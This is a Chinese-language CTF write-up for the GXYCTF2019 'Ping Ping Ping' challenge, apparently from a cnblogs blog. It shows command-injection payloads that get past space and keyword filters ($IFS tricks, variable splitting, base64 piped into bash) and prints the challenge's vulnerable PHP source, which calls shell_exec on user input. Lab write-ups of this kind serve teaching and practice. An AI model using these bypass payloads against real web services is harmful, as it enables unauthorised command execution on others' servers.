[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping
命令执行相关的漏洞,正常可以执行,然后测试测试哪些符号或者命令可能被过滤掉了
发现简单的 ; 符号都没过滤,直接 cat 一下 flag.php 吧
发现这里有过滤 空格 ,可以试试其他绕过空格限制的方法。
# Linux 下绕过空格限制
$IFS # Internal Field Separator (内部字段分隔符)默认为(空格、制表符、换号)。
${IFS}
$IFS$1 //改成$[1,2,3,4,5,6,7,8,9]
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
$'\x20'
# 过滤关键字
a=g;b=fla$a.php;cat$IFS$1$b # 赋值引用
ca\t fl\ag.php # 不影响命令执行
cat f*.php # 匹配关键字
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash # cat flag.php的base64编码通过管道执行
cat `ls` #ls出来的文件名都会被cat
经过一系列的尝试和奔溃,发现过滤了 ['、{}、flag严格的匹配、空格、<、%、?、*],最终还是发现了蛛丝马迹啊。
# payload
?ip=127.0.0.1;cat$IFS$1index.php
# 源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
# 简直都快过滤的一点不剩了这。
但是可以发现 $IFS$1和 $ 号 并没有被过滤,说明还是不是很严格啊。
# 利用linux中的赋值将flag.php字符串分开,再引用变量构造payload
?ip=127.0.0.1;a=f;b=ag;c=l;cat$IFS$a$c$b.php
没看到 flag 啊啊 啊 啊 !不要慌 [Ctrl+Shift+i] 试试。
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582255.html